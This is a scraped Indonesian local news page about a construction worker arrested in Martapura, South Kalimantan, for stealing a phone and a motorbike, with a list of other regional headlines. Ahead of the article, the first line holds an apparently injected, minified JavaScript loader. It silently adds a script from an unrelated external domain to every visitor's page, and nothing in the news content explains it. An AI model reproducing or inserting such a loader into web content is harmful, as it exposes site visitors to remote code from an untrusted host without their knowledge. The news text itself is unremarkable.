(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Dua Kali Beraksi, Pencuri HP Juga Gondol Motor Depan PD Pasar Martapura


KANALKALIMANTAN.COM, MARTAPURA – Seorang pria berinisial AH (42), asal Desa Danau Salak, Kecamatan Mataraman, Kabupaten Banjar, Kalimantan Selatan (Kalsel), dibawa ke kantor polisi setelah tertangkap basah mencuri handphone (HP), Rabu (1/2/2023) malam.

Saat malam itu, dengan berani AH mencuri sebuah HP di sebuah kos Jalan Barintik, Desa Tanjung Rema, Kecamatan Martapura, Kabupaten Banjar.

Cuplikan rekaman CCTV saat pelaku menggondol sebuah sepeda motor di depan kantor PD Pasar Martapura. Foto: ist

“Ketika mau mencuri HP ketahuan korban, lalu diamankan warga dan dibawa ke Markas Kodim 1006 Banjar,” kata Kapolsek Martapura Kota, AKP Supriyadi kepada Kanalkalimantan.com, Kamis (2/2/2023) siang.

 

 

 

Baca juga: Hadiri Musrenbang Kecamatan Basarang, Ini Kata Wakil Rakyat Algrin Gasan

Melancarkan aksi pencurian yang ketahuan, pelaku AH dibawa ke Polsek Martapura Kota untuk dimintai keterangan.

Hasil keterangan AH, pelaku yang kesehariannya bekerja sebagai buruh bangunan itu diketahui telah dua kali melakukan aksi pencurian.

Pertama pada Selasa (31/1/2023) sekitar pukul 19.00 Wita, AH mengaku telah mencuri sebuah sepeda motor di depan kantor PD Pasar Martapura. Pencurian sepeda motor itu pun turut terekam kamera CCTV.

“Pelaku mengakui sepeda motor yang ia kendarai itu juga merupakan hasil curian di depan kantor PD Pasar Martapura milik Rafiah warga Teluk Selong yang hilang pada hari Selasa lalu,” ungkapnya.

Baca juga: Duh Nyeri, Pekerja Sawit di Lamandau Potong Kejantanan Sendiri

Setelah selesai diintrogasi pelaku beserta barang bukti pun ditahan di Rutan Polsek Martapura. Pelaku harus mempertanggungjawabkan perbuatannya sesuai hukum yang berlaku.

“Pelaku akan dikenakan pasal 363 KUHP tentang pencurian dengan pemberatan, curanmor dengan ancaman hukuman tujuh tahun penjara,” tuntas Kapolsek Martapura Kota. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Al Ghifari

Recent Posts

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

25 menit ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

35 menit ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

3 jam ago

Pj Bupati Kapuas Lepas Peserta Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More

3 jam ago

Baliho Curhat Korban Investasi Bodong di Banjarmasin Diturunkan

KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More

4 jam ago

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

7 jam ago

This website uses cookies.